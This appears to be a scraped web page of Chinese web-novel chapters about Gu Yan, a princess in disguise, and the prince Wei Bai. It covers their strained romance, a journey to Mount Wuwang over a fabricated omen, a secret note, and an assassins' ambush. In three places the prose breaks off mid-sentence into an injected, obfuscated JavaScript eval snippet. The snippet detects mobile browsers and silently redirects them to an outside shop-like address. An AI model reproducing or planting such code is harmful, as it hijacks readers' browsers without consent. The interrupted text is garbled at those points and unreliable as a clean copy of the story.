顾雁只觉唇瓣发干,低唤:“殿下?” 她欲挣开。卫柏却突然埋首在她肩旁,沉郁的声音在耳畔响起:“容娘,别怕我。” 他说得这般恳切,似是怕她以后再不与他交心。到时,他便只能站回漫长孤独里,如往日那般,只能对春花秋实诉说。 顾雁忽然心底一软。 他把心绪藏得很深。世人只觉颖王写了树上孤零零的柿子,真是平实亲切。只有她看出来,那是他自己。 卫贼身边除了严义和陶羽,确实再没什么交心之人。他俩忠心耿耿,陶羽擅谋,严义习武,但下属不会与主公谈心。 以前还觉得,像卫贼这种高高在上之人,根本不需要被理解。此刻才发现,她半真半假的理解,他竟这般珍视。 难道是文人通病? 怪不得,他近来待她的态度奇怪了很多…… 她一时百感交集。 也能理解,毕竟她也曾希望自己的戏文,有人读懂。 这时,卫柏抚住她后颈,他的鼻唇擦过她额发,似在贪嗅她的气味。她的腰也被他缓缓收紧。她整个人,都彻底陷入他怀里。顾雁猛然心惊,回过神来。 卫贼该不会想要她委身侍奉吧…… 顾雁霎时心跳如鼓。又不是懵懂少女,如何分辨不出卫贼的亲昵之举,到底代表什么。 卫柏的唇瓣渐渐往下,温热鼻息划过她耳尖,拂过她肌肤。所到之处,皆让她不住颤栗。 若他不是卫贼……顾雁的脸瞬间滚烫,她轻咬唇瓣…… 不!他是卫贼,就不可能!别再胡思乱想了!她今生今世都与卫贼绝无可能! 卫柏的气息已来到她唇角。 刹那间,顾雁用力推开他,后退两步。她慌张四顾一圈,见其他侍从都远远站在西园门外,背对着他们。宿卫更是不见踪影。 她突然反应这么大,卫柏愣住。只见她提裙跪地,垂首说道:“奴婢识了几个字,不知轻重,一时仰慕殿下文才。但对殿下只有敬畏,绝无他想。能为殿下侍墨,奴婢已心满意足。” 随着她字字坚定的话语,他眼中柔软凝结成冰,浑身热意被风吹凉,隐约漏出的一丝彷徨,亦是烟消云散。半晌,他冷笑:“心满意足?你不是还想去典录司,编撰陶灵遗作么?” 顾雁抿了抿唇,小声道:“那是另外的愿望。” 卫柏手指骤然一蜷。他冷冷盯着她。 他的沉默,仿佛让周围坠入深冬。顾雁僵着身子,地上青石冰凉,她背后却淌出冷汗。这回怕是得罪了卫贼。他总是心情翻覆,不知要怎样处置她。若赶她出去,就功亏一篑了。 罢了,就算被赶出去,也不能与卫贼亲昵! 然而卫柏只盯了她许久,突然转身大步离去。 顾雁松了口气,瘫坐在地。片刻后,两名侍从经过她身边。其中一名曾为她送灯笼的老侍从,摇头叹息:“容娘子这是在做什么……殿下好不容易……唉。” 她勉强一笑。 很快,池塘附近只剩她一人。顾雁懒得再跪,撑着腰站起身来,走回寝舍。 一路走着,红霞隐去,暮色渐沉。她的心情也仿佛与霞光一道,渐渐低沉下去。明明推开他应该义无反顾,可为何心头却像丢了块什么,开始怅然失神呢…… 接下来两日,卫柏再没来过西园,自然也没允她去典录司。 不过也没禁止她去。 也罢,至少她日后再找机会去典录司,也不会被怀疑了。 顾雁继续过着洒扫书阁、回房写文的生活。只是写着写着,她总不自觉停笔,看着满纸文字怔怔出神。这次她写了方士与狐姬重逢的故事,眼看已写好一篇,却一直没机会拿给他看。 毕竟,他连西园都不来了。 —— 又一日,刚入夜。颖王车驾回府。 卫柏下车一路进府,听当值侍从汇报府中事务。直到听完,他忍不住问:“再没了?” 侍从摇头:“再无其他。” 一连两日,容娘都没来范华殿等他了。 颖王面无表情地走着。严义跟在旁边,越瞧越不对劲。明明今日朝堂上,已无人再反对殿下了。但殿下心情怎么却越来越差?甚至在听朝臣说话时,都会偶尔走神。 他百思不得其解,又不免担忧,只好梗着脖子上前低问:“敢问主公,近日在为何事忧心?” 卫柏恹恹瞥了一眼军士:“无事。” 但主公怎么看都肯定有事啊!严义疑惑看向身旁提灯的老侍从。鹤发老者轻轻摇头,也不言语。严义抱拳提声:“主公可在担心明日出行?请主公放心!末将就算不要命,也定会护主公周全!” 卫柏无奈道:“有你在,孤不担心。” 严义嘿嘿一笑,但见主公仍提不起神,他面上笑容瞬间凝固。不过,主公确实不像在担心政事,倒像自己年少时想念邻家女娃,茶饭不思的样子。 他恍然明白了!主公早该娶夫人了,却一直耽误到现在。两人一起长大,出生入死,他老严都儿女双全了!论政务他不如陶狐狸,但论讨夫人欢心,他可经验丰富得多。 严义咳了一声,道:“主公可是在惦念哪家娘子?” 卫柏猛然睁大眼,又忿忿斜睨过来。 果然是! 严义真想夸自己聪明。他挺起胸膛拍了拍:“主公可是猜不透女儿家心思?属下当年亦如此,这方面属下经验甚多,可为主公参详一二!” 卫柏依然沉默。 半晌,他终于忍不住忿然道:“明明是她说想来孤身边。孤只是……只是放任了她,她却跑得飞快,竟几日不来见我。” 严义挠头沉思。很快,他眼中一亮:“她定是害羞!以主公品貌身份,哪家娘子不想来见?” 卫柏恼意更甚:“但她总说对我没有非分之想。” “嗐,小娘子都害羞,哪会当面说对郎君有意。主公只需继续坚定态度,教她宽心!” 卫柏眸露狐疑,沉默下来。忽然,他咬牙道:“不过一个来历不明的流民女,何至于让孤如此上心!” 严义一懵:“啊?主公身边的流民女,不就是容娘?” 然而颖王再没说话,只加快脚步走远了。 严义疑惑转头,看向旁边老侍从。老者满脸嫌弃,一副“就你话多”的神情。 —— 第二日,天色将将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14466177|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泛青。顾雁刚醒,房门便咚咚响起。 “稍等!”她打着哈欠爬起身,匆匆披好衣裳。打开门,见一名颖王身边的侍从等在外面,对她颔首一礼:“请娘子尽快收拾,随驾出行。” “啊?”顾雁彻底清醒过来,“殿下今日要出行?让我随驾?” “反正上头吩咐下来,让奴来请娘子。娘子动作快些,半个时辰后出发。奴在院里等着。” “啊,好,多谢。”顾雁一头雾水地关上门,开始飞快洗脸梳发,收拾衣裳。临出门,她看到案上写好的文稿,终是将它拿在手里。 刚出门,顾雁便见石榴拎着竹叶扫帚走进院里。那扫帚轻轻一抖,洒落一地露珠。“容阿姊这么早去哪呀?”小姑娘洒扫园子,每日天不亮就得干活,这会都已扫完回来了,还双目炯炯,精神十足。 她简单说了随行一事。石榴弯眼笑得意味深长:“容阿姊可要抓住机会。” 顾雁无奈摇头:“快回房歇着吧。” “哎!”石榴清脆应声,蹦蹦跳跳地回去了。 “容娘子,请吧。”侍从在前抬手,转身引路。 “好,”顾雁抱着戏文和包袱,随他前去。 一路走着,她不禁思量,卫贼又要做甚?想到那日,他略带凉意的唇触在颊上……她连忙甩头,把那画面抛开。可这两日没见他,又忍不住想他到底在做甚。推开他归推开,让他看看戏文文稿,也不是不行…… 这般胡思乱想着,侍从带她来到王府正门。 颖王车驾候在门外,紧跟着齐整威严的麾仗。严义领头,一队宿卫列队周围,整装待发。顾雁跟随其他侍从,站在门口等候的队伍里。 看这阵仗,比颖王平时上朝要隆重得多,这是做甚?之前就听说,颖王攻克江州后,获赐等同天子的旌旗仪仗。如今亲眼见到,对他那半分心软顷刻又烟消云散。 她闭上眼忿忿想:不就是与他做戏,没什么好心软的。 这时,府内一阵脚步声响起。周围人纷纷躬身,齐声念唱:“恭候殿下。” 顾雁连忙一道垂首行礼。 脚步来到她身前停下,一袭石青色衣摆映入眼帘。 是卫贼。 “见过殿下。”她柔声礼道。 对面一片沉默。少倾,他宽袖一摆,继续迈步出门。 心头忽然窜出一股烦躁,顾雁愤愤腹诽:什么了不起的!她更不想理他呢! 想着想着,她不禁把手中纸稿捏皱。 随着颖王上车,侍从们陆续下阶列队。这时,一脸慈祥的老侍从来到她面前,笑道:“容娘子,请上车。” “啊?”顾雁愣住。眼前仪仗队伍里,除了颖王车驾,再就是装箱的辎车,她上哪辆? “是殿下的车。”老者适时提醒。 顾雁愕然。 颖王车驾静候阶下,清风徐徐撩动车帘,车中人沉默不语。 “哦。”顾雁压着骤然乱跳的心,跟老者上前,踩着杌凳上了车。 她刚进车厢,便见卫柏斜倚凭几,垂眸望来。一见她,他瞳仁微微放大,身子略微挺直。 “殿下。”她又唤。 卫柏却淡漠转头,看向窗外。 顾雁再次捏紧纸稿。 全天下最最最讨厌的人,就是卫贼!是!卫!贼! 18. 同乘 顾雁一时僵在车厢门口,进也不是,退也不是。 这厮到底是什么意思?把她叫上车,又对她不理不睬。 片刻后,卫柏终于冷冷道:“坐下。” 顾雁强压着心头不痛快,提裙坐进车厢。 冷静,冷静,想想目标,不跟贼人置气。她闭眼调整着呼吸,紧捏纸稿以平复心绪。 随着卫贼一声吩咐“出发”,车驾缓缓前行。 车厢很宽敞,两人坐在里面也不拥挤。卫柏面前还有一方小案,他斜倚凭几,手撑额头,沉默地看着窗外。车内铺满厚实软绵的褥垫,顾雁垂首踞坐,背靠微微摇晃的厢壁,还算舒适。 到现在她都不知道,这是要去哪。单看车队辎重,应是远途。又带着仪仗,就不是出征。要不还是先问清楚,也好有个准备。 “请教殿下,此行去往何处?”她温婉的声音打破了车里的寂静。 卫柏静默片刻,才道:“武望山。” 他说完也不解释。顾雁暗暗恼火,又腹诽了一遍卫贼,暗自思量起来。 武望山是汝平郡的名山,有座香火鼎盛的玄阳祠。当年那对赠梨的夫妇,就是去那上贡的。这厮不是要拆司隶境内所有玄阳祠吗?这般大阵仗去武望山作甚?难不成要亲自监工拆祠? 顾雁思量着,目光落在卫柏面前的小案,上面摆着一道卷轴,最外侧写着——天石祥瑞赋。这不是那日书佐呈上的文赋吗?跟武望山有何关系? 卫柏瞥了一眼她:“想看就看。” 啊!好烦!这厮每句话都惹她生厌! 顾雁暗暗捏拳,按下恼意,倾身拿过卷轴打开。 “兹闻近日,武望山下,天降奇石,谶言启世。烈烈玄阳,授命于颖……”顾雁一目十行地看过去,顿时明白了怎么回事。 前些时候,某日深夜,武望山上突然滚落一块巨石到山脚树林,上刻八个大字:烈烈玄阳,授命于颖。意思是,玄阳天君将天命授予颖王! 第二日清早,发现巨石的樵夫惊得神魂出窍,这可是玄阳天君显灵了!然后连滚带爬地上报了官府。 经层层通报,此事在数日内引起了朝野震动。颖王获知后极为重视,但巨石过重,难以运进梁城。颖王决定亲率百官,前往武望山拜谒。 文赋大赞颖王威名,还说殿下行事,彰先王躬行节俭之德,显天君庇佑苍生之仁,心存孝义,心敬神明……等等,这话怎么有点眼熟,顾雁神色复杂地看向卫柏。他看着窗外,轻轻挑眉。 她低头继续看,赋里又说……所以,才会感动天君降下祥瑞谶言……看来,这篇文赋要在朝堂上发得人手一份了。 顾雁撇撇嘴。 卫柏转眸看她:“这是什么表情?” 顾雁合起卷轴,幽幽道:“之前还提议殿下编故事。没想到,殿下直接编了个大的。” “这是天降谶言。”卫柏面不改色地强调。 “好好好,是天降谶言。”顾雁鼓了鼓腮,心情也复杂起来。 他厉行赈灾举措,人心动荡之际,造祥瑞,发文赋,收民心。手段环环相扣,竟还如此不掩野心,率领百官拜谒什么“授命于颖”,宫里那位不知会怎么想。 卫柏瞥见她的神情,握拳在嘴边轻咳一声,又道:“此赋完成,你也有功。” 顾雁眸色一亮,倾身放回卷轴,忙问:“那奴婢能否讨个嘉奖?” 卫柏接住她的炯炯目光:“想要什么?”他的声音里,竟有一丝期待。 顾雁轻咬唇瓣:“还是那个心愿……去典录司编撰陶……” “换一个。”她话还没说完,卫柏便烦躁地闭上眼。 啊啊啊! 顾雁深深吸气,压下窜起的火气。冷静,冷静,不能操之过急,引起卫贼警觉。 “那……”她拿起手边文稿,双手奉上,“这是奴婢新写的戏文,讲述了方士与狐姬重逢之事,请殿下过目。虽不能解殿下烦忧,但愿能博殿下一笑,便不枉奴婢用心了。” 卫柏闭着眼,一声嗤笑:“你之前说不想当逗趣乐子,怎么又想博孤一笑?你的话哪句是真,哪句是假,怕是连自己都分不清了。” 这厮怎这般难缠! 顾雁捏紧手,迅速思量着说辞。 “奴婢喜欢编戏文,就算世人说杂戏低贱,博人笑耳,奴婢也不在乎。世道艰难,能博人一笑,也算可贵。但奴婢也说不清,为何在殿下面前,就是不想只做个逗趣乐子,而是想……让殿下看到我的文章本身。” 前半部分,顾雁说得情真意切。以前身为丹阳郡主,她从未轻视过任何人。现在沦为流民,她也从未自贱。到了后半部分,她开始发挥编造,连声音都调整得更伤感了些。 卫柏缓缓睁开眼,看她的目光变得认真。 “不过,一见殿下劳心忧虑,奴婢又盼着能贡献微末之力,博殿下一笑。”这话弯弯绕绕,顾雁自己都说晕了。她暗中掐着虎口,强行保持着怅然表情,别被卫贼瞧出破绽去。 卫柏听得蹙眉,似乎也被绕了进去。半晌,他问:“所以,你只想与孤论文谈心?” “嗯!”若抛开卫贼身份的话,她是真心想与他论文的,顾雁默默想。 “孤又没说不行。”卫柏叹了口气,接过文稿,却发现纸张皱成一团,还得费劲摊开。他的声音凉下来:“还没人敢呈一团抹布给孤评议。” 顾雁迅速拿回文稿,摊平后再奉上:“下次不会了。” “你是第一个。”卫柏虽语气嫌弃,却伸手接过了她的文稿。这时,他的手无意碰到了她的小指,她飞快往后一缩。卫柏顿生烦躁,猛地抽走文稿,深吸一口气,这才看起来。 这篇戏文里,方士捉拿一只恶妖后身受重伤,困于林中迷阵,恰遇狐姬。狐姬没有落井下石,反而领他走出迷阵,还骗走了来追杀的恶妖。方士遂对狐姬产生改观。 戏文到这便结束了,卫柏渐渐看得投入,倒忘了烦躁。他看了两遍仍意犹未尽,最后一叹:“虽然人妖殊途,但未尝不能同行。” 顾雁狠狠点头:“没错。” 卫柏笑了笑:“文章读之如清风拂面,字字珠玑。之前说你可以编纂成集,是觉得只给我一人看很可惜。既然博人一笑,何不使万民同乐。” 顾雁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14489015|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻咬唇瓣,与他相视一笑:“其实我也这么想。” 她话语坦荡,笑中却带一丝腼腆。卫柏一时看怔了神,仿佛她的倾城一笑,让这昏暗的车厢顿生光彩,连天上的日月都失了颜色。 卫柏猛然回神,嫌弃地甩头。 他越来越失控了。 不该如此。 脑海中的理智,强迫他冷静下来。 卫柏闭上眼。 此女心机深重,能言善辩。目前看来,她很想去典录司,所言缘由未必是真。至于真正原因,还需观察。她对自己若即若离的态度,八成是故意为之。他都好几次,看着她一颦一笑,恍惚便失了神智。 绝不可,再这样下去了。 待卫柏再睁眼,面色已重归淡漠。他随手将文稿扔到一旁:“就这样吧。” 顾雁一愣。 方才他还有说有笑,忽就冷淡下来,变脸跟翻书似的。心头骤然一堵,她只觉胸口发闷,恨恨拿过文稿。褶皱的纸张上,渐渐映出卫贼模样。她用手掌一遍遍按在皱巴巴的“卫贼”脸上,试图将那张脸压平。 每压一遍,就在心底暗恨,讨!厌!卫!贼! 这时,驾车的老侍从提醒道:“殿下,已至城门外了。” 顾雁连忙转头往外一看,顿时一惊。 城门外,长长的官道笔直远去,两侧停着一辆辆马车,毗邻相接。有的马儿低头吃草,有的踢踏嘶鸣。上百名官员站在路边,颖王车驾经过,他们依次行礼:“参见颖王。” 她可不想被这么多人看见!保不齐还有江州籍的降官! 顾雁迅速躺下,后背紧贴厢壁,抬袖遮脸。 车驾缓缓停下。 一阵脚步声传来,有人踱步走近。那人低沉浑厚的声音,透过厢壁清晰传来:“百官已恭候殿下多时,可以出发了。” 听声音,对方应上了年纪,他就站在窗外,只要长得高些,就能从窗里看到卫贼座下,她那双穿着白袜的脚。没办法,谁叫车厢就这么大,她一躺下,脚就只能伸到卫贼附近。 好在他衣摆宽大,她轻轻挪动双足,悄然伸进他的衣摆下。 很好,遮住了! 卫柏轻轻挑眉:“有劳程仆射。” 顾雁恍然,原来是当朝文臣之首,尚书仆射程儒。 “殿下客气,”程仆射应罢,又意味深长地说道,“看来殿下此行,定不会乏味。” 随着他脚步声远去,顾雁暗暗嘀咕,尚书仆射说话喜欢让人琢磨么? 忽然,她猛地睁大眼睛。 糟了! 车厢里铺着褥垫,她上车时把鞋脱在门外的横板上了! 一双女子的鞋,程仆射肯定看见了! 听张月说过,程仆射之女是预定的颖王妃,此刻他却瞧见颖王与不明女子同乘,真是尴尬。多一事不如少一事,千万别让程仆射知道是自己。 车驾再次启行,外面喧闹不歇。顾雁仍贴壁而卧,用袖遮脸。 卫柏垂眸,看着身下隆起的衣摆。他忽然躬身撩开衣摆,握住她一只纤细的脚踝。 “怕什么?”他沉声道。 19. 纸条 顾雁正抬袖掩着面容,忽觉一股力道握住右脚脚踝,自不用说,定是卫贼。她浑身一僵,下意识便要缩回脚,却被他捉住不放。她移开袖管,瞪向卫柏,却见他恼问:“怕什么?” “奴婢是何身份,竟坐在殿下车上。我可不想被百官看见,遭受非议。”顾雁迅速说罢,偏头不再理他。 卫柏面色一凝,原来她不喜欢……无名无分地留在他身边? 但她说过,能在殿下身边侍墨就已心满意足。可严义又说,小娘子害羞,定然言不由衷。想来想去,连他也弄不清了。卫柏自嘲一笑,他能谋算战场,掌控政局,却竟然看不透她。 此刻她背靠厢壁,弯手枕在脸下,怔怔看着对面。那双晶亮眸子里,似乎萦绕着化不开的雾气,教他真想亲手拨开,看看后面到底藏着什么。 卫柏的拇指轻轻抚过她脚踝,隔着布袜,感觉她的脚绷得笔直,几次想缩回,却被他牢牢握住。她只好蜷了蜷身子,闭上眼。 外面车马喧嚣,车内安静得针落可闻,交错着两人各自放轻的呼吸。他眸色愈发晦暗,她的脚跟落在掌心,盈盈一握,圆润可爱,布袜上也泛着皂香,惹得他忍不住轻轻揉捏。此刻她安静侧卧着,紧闭的眼睫却在微微颤抖,脚也绷得愈发僵直。 谁叫她先来招惹。 她越躲,他越不想放,偏要捏在手里,看她又变成一只紧张的猫儿。 卫柏竟贪起这片刻的满足。因为他发现,只要每每触碰到她,心底裂开的无底空洞,就会被填满一些。 顾雁的脸烫得像火炉一样。卫贼竟……竟如此轻浮!将她脚跟揉得若有似无的痒,好想找个地方磨蹭,他偏捉得牢固,不教她如意。她一直忍着,终于忍不住轻哼出声。卫贼动作猛然一顿。趁他放松的一刹那,顾雁迅速抽回脚,蜷起身子往上拱了拱,离他更远了。 卫柏手中一空,这才回过神来。 方才她只轻哼一声,他便觉一股邪火窜出,灼了全身。此刻见她躲远,他心底又起烦躁,干脆闭眼不再看她。 她来历不明,用心未知,不可失控。 卫柏默念了好几遍,才将那股邪火平息下来。 绝不可,再如此了。 这次他发誓。 等他许久再无动作,顾雁暗暗松了口气,才彻底放下心。 卫贼他……她回想了看过的所有话本,都没找到合适的词骂他! 随着马车前行,顾雁的身体随车厢轻轻摇晃着,阵阵疲乏袭上心头,脸颊热意也终于散去。她还得赶紧想想,过去见过的江州官员,有谁可能来了梁城。这趟出行,她必须一再谨慎,莫要被认出来。 顾雁轻轻叹气。想着想着,睡意缓缓袭来,她渐渐合上眼帘。 —— 再醒来时,马车已停下,卫贼不在车里。顾雁心下疑惑,忙起身看向窗外。 外面是片荒野,比人还高的荒草黄绿相接。长长的车队停在道边,许多仆人在泥地里挖灶生火。日头高悬,看来他们在准备午膳。严义带着宿卫们四散站开,皆手扶佩剑,警戒周围。 旁边有个小土坡,卫贼和几名官员站在坡顶眺望远处,不知在说什么。其中一名鬓发斑驳的长者,应该就是程仆射。顾雁连忙往后一躲,背靠厢壁,免得被他们看见。 忽然,腹中咕咕声响,她揉了揉肚子,思量起来。 武望山离梁城不远,按车队脚程,明日下午应该就到了。今晚需在野外过夜,应会扎营。难道她为了避人,一直都不下车?若真有江州官员认出她来,她死不承认呢? 如此胡乱想着,外面传来一名年轻侍从的声音:“容娘子,请用午膳。” 顾雁回过神,忙探身来到车门,接过对方递来的托盘,上面盛着一碟蒸饼、一碟炒栗、一盅温水。“殿下有令,行路途中膳食从简,还请娘子将就。” “有就不错了,多谢。”顾雁莞尔。待那人离开后,她回身将托盘搁到小案上。香气溢满车厢,肚中声响更大了,她忙不迭拿起蒸饼,咬了一大口。 嗯?齿尖忽然触到异样感觉。 她放下蒸饼,见饼上缺口处,冒出一个小小的纸卷。 顾雁心下咯噔一响,这是什么?要这般偷偷摸摸给她? 她左右一看,车窗外无人经过。远处土坡上,有人正在收卫贼和官员们吃完的东西。顾雁侧身往里躲了躲,背对外面,轻轻扯出纸卷。 纸卷沾染着饼屑,带着些许热气。顾雁用指尖撑开纸卷,只见上面写着几个字:郡主安好,今夜子时,营北半里,谨盼一见。 才看到前两个字,顾雁浑身巨震。她迅速浏览了两遍,确认了纸上文字,将它死死攥在手心。 是谁! 心脏无法抑制地飞快撞击胸腔,后背一股凉意直窜头顶!顾雁竭力稳住隐隐发颤的手,以保持头脑冷静。她深吸一口气,装作若无其事,回头打量窗外。 方才给她送吃食的年轻侍从,正和旁人一起处理地上的泥灶。远处,官员们三三两两聚在一处说话,没人注意这里。她眯起眼仔细分辨,那些人里没有她认识的江州人。队伍实在太长,再远处的人,她便看不清了。 但就在她不知道的某处,有人知晓她的真实身份!并且肯定在暗暗观察她! 对方并没表明身份。能确定的是:一定不是卫贼手下。否则大可以直接告诉卫贼,而不是偷偷摸摸联络她。 会是谁呢? 此人能接触蒸饼,难道是那几个做膳食的侍从之一?是兄长的人吗?!对方既知她是郡主,说不定也知道母亲和兄长的消息! 一想到这,顾雁浑身血液几欲沸腾。她连忙再看一遍纸条,牢牢记住内容,捏成一团塞进嘴里,又咬了口蒸饼胡乱一嚼,混着水吞下……噎住了……她拍着胸脯正咳,却听背后传来卫贼声音:“吃这般急作甚?” 顾雁的心猛然一跳,转头看卫柏登上马车。她迅速拍了拍胸,囫囵说道:“饿了。” 卫柏摇摇头,没再说甚。 车队继续前行,窗外景色皆是郊野,看久了也觉枯燥。卫贼神情冷淡,自顾看书也不理她。正好,她可以好好盘算晚上该如何行动。 如此行到日头偏西,天悬晚霞。卫柏下令在前方旷野驻营。长长的车队陆续停下,外面又变得嘈杂喧闹。顾雁早已打定主意,央了卫贼允她在车上过夜。 颖王麾下常年行军,营地很快搭建起来。今日卫贼对她的态度越来越冷,便把她晾在车上,自行进了营帐。顾雁有了心事,也顾不上在意。马车停在偏僻处,无人注意。不远处的颖王帐外,来见礼的官员络绎不绝。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14493872|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 坐了一天马车,腰又开始泛酸了。顾雁下车活动筋骨,观察着周围地形,才回车里翻卫贼留下的书。又有侍从来送吃食,比中午多了蒸肉和甜柿。不过这次,饼里再没夹着纸条。 填完肚子,她看书看得困意浓重,又不敢睡得太死。入夜时,严义又来问她,秋夜寒冷,可需要入帐休息?却被她婉言谢绝。严义也没再多劝。 如此熬着时间,终于等到四下寂静,月悬中天。 远处,巡营宿卫打起三更锣声。顾雁遥遥听到,腾地坐起身,轻轻扶门观察外面。 今夜无云,月色明亮,泛黄的荒草在风里徐徐摇曳。营地里,卫贼帐中仍透着灯火,其他营帐大多一片黑暗黑。仆从们也已休息,只有六人列队的值夜宿卫,正在到处巡逻。 北边……她数着星辰,分辨着方向。 如何在野外分辨方向、如何求生、如何潜伏……都是常年行军的兄长,曾对她说过的学问。少时她只当故事听,没想到却在两年前孤身北上时,用它们护佑了自己。 从梁城去往武望山,一路朝东。营地扎在官道北侧,卫贼车驾和营帐最东头。马车停在南边,所以她只需绕过卫贼营帐,一直朝北走半里就行了! 打定了主意,顾雁等一队巡逻宿卫走远去,便轻轻跳下马车,提裙往北走去。 经过卫贼大帐时,她干脆屏住呼吸,踮起脚尖,将脚步放轻到极致,生怕踩断枯枝落叶,惊动帐中人。帐里安静无声,灯火将卫贼手执文书的侧影映在帐上。傍晚时,还有信使从梁城快马送来文书。没想到,他一直看到这时还不睡。 顾雁压下讶异,继续踮脚前行。在她快憋气到胸闷时,终于绕过了营帐。再往北,就是一片荒草丛生的树林。卷枯的树叶残留枝头,遮蔽了大半月光。林子里十分暗沉,不时响起划破夜色的鸮鸣。 纵然她胆子再大,背后也不禁冒出了冷汗。顾雁握紧提裙的双手,鼓起勇气踏入林中。 刚走片刻,忽然,头顶树梢跃下两个黑影! 来者黑衣裹身,黑布蒙面,顷刻亮出长刀,一前一后将她包围! 顾雁骇问:“你们是谁!” “郡主,得罪了!”其中一人故意压着嗓子说道,竟听不出男女。 两人当即攻来,刀锋一齐落下! 顾雁失声惊呼,飞快闪躲。她连忙转身想往回跑,却被黑衣人的刀拦住退路!她只得再找出路,却见树上又落下几名黑衣人,将她团团包围! 她手无寸铁,正在飞快思量该如何脱困时,一道绳索从天而降套住她,又瞬间拉紧缠绕。她顿时被紧紧缚住,动弹不得。对方配合默契,动作利落,一看便是受过训练。 “走!”一名黑衣人下令。 众人当即后撤,强行推她来到树林深处,那里竟停着好几匹马。她被搬到马上趴着,又有一人翻身上马。 顾雁再不得许多,大喊:“有刺客!” 马蹄开始飞奔,风声在耳旁呼啸。这些人竟也不管她。 颖王帐内。 卫柏心情很不好。天黑前,他让严义叫她进帐,她却死活不来。严义回禀后,他便一直沉着脸,挑灯看文书到现在。 耳旁突然传来隐约呼喊。卫柏猛地放下文书,警觉地侧耳倾听。 好像是她? 20. 刺杀 马蹄飞驰,周围树林飞似的后退。顾雁俯趴在马上。马背上下起伏颠簸,顶在腹部,她白天吃的蒸饼都快吐出来了。她难受得拼力挣扎,却被骑马的黑衣人死死摁住后背。 “抓刺客!”这回嗓子都快喊哑了,她大口喘着气,心头却觉得不对劲起来。 这些人不打算杀她,否则在树林里直接偷袭,一击必中。 但他们若只想掳走她,为何还放任她大喊?被袭的树林离营地不远,她的喊声很容易惊动巡逻宿卫啊! 方才那黑衣人唤她郡主,八成纸条就来自他们。可他们绝非江州旧人,对她下手也未留情。那几刀她若躲得慢些,定会受伤!他们显然也不是颖王手下。 所以这伙人到底是什么身份,想干什么?! 当她脑中一团乱麻时,忽听后方一声铮鸣破空而来!身侧的黑衣人飞快低伏身体。瞬间,一支利箭飞过上方! 数支利箭紧跟而来!疾驰的几名黑衣人抽刀打掉几支,又躲开几支。他们忽然偏转马头,四散分开。后方马蹄声急,越来越近! 顾雁勉力抬头,眯眼细看。暗沉的树林里,有许多人骑马追来,影影绰绰看不真切。又是数道箭声鸣发!身下马匹痛苦嘶鸣,似是中箭了! 惊马受痛,霎时在林间狂奔起来!顾雁被起伏的马背颠得惊心动魄,重重树影掠过身边,眼看就要撞上,那黑衣人飞身一跃下了马。而她身上绳索依然绑得死紧,根本抽不出手,她只得奋力翻身。砰地一声,顾雁重重摔在地上! 她在草丛中滚了好几圈才停下,手背、脸颊都被草叶划得生疼。坠地时,被撞的腰骨袭来一阵剧痛。那匹马惊险掠过树干,奔入黑暗的树林深处,消失不见了。 她趴在地上,咬牙忍疼抬头。树林间,莫约有三十几个黑衣人突然出现,手持弩机,射向十多名骑马追来的宿卫。飞矢交错,骏马嘶鸣。一众宿卫迅速闪躲,翻身下马,抽剑与黑衣人缠打起来。 月光稀疏,人影淹没在昏暗的树影里,交错的金铁铮鸣刺穿了夜幕。 有个人的身形……怎么好像卫贼! 顾雁不可置信地睁大眼,他亲自带宿卫追来了?! 怎么可能!!! 正当双方厮杀在一起,一名黑衣人厉声道:“全力击杀卫贼!”话音一落,所有黑衣人的刀锋和箭矢,皆奔一人而去! 顾雁浑身一震,真是卫贼亲自来了! 电光石火间,她明白了,这些黑衣人的真正目标,是刺杀卫贼! 他们知道她的真实身份,利用这点将她引到营北树林,掳走她却任她大喊,就是为了引宿卫来追! 卫贼若留在帐中,他们的同伙便可趁宿卫被调离,进行刺杀。若他亲自来追,更是绝佳的围攻机会! 但顾雁没想明白,卫贼明明可以只让严义带人来,怎会亲自追来?他不怕有陷阱吗! 借着微弱月光,她发现,卫贼的剑法竟然相当娴熟。他手中长剑宛若游龙,剑势干净利落,如雷霆万钧,杀气凌冽,直取命门,一看就是在战场上出生入死,力求一招制敌的手法。 严义和宿卫四散在周围,他们身负弓箭,手持长剑,阻挡着四面八方的刀锋。很多无法近身的黑衣人,就在暗处用小弩偷袭。看章法,应是受过训练的杀手。 两边相差十人左右,刺客却始终无法得手。双方相持许久,不停有人倒下,林间开始弥漫浓重的血腥味。顾雁咬牙忍着腰疼,扶着身旁树干缓缓站起,想绕到树后悄悄离开。 这时,严义以手为哨,连吹三道尖锐悠长的哨音,应是军中暗号,呼叫更多援兵。方才下令的黑衣人见势不妙,忙道:“撤!” 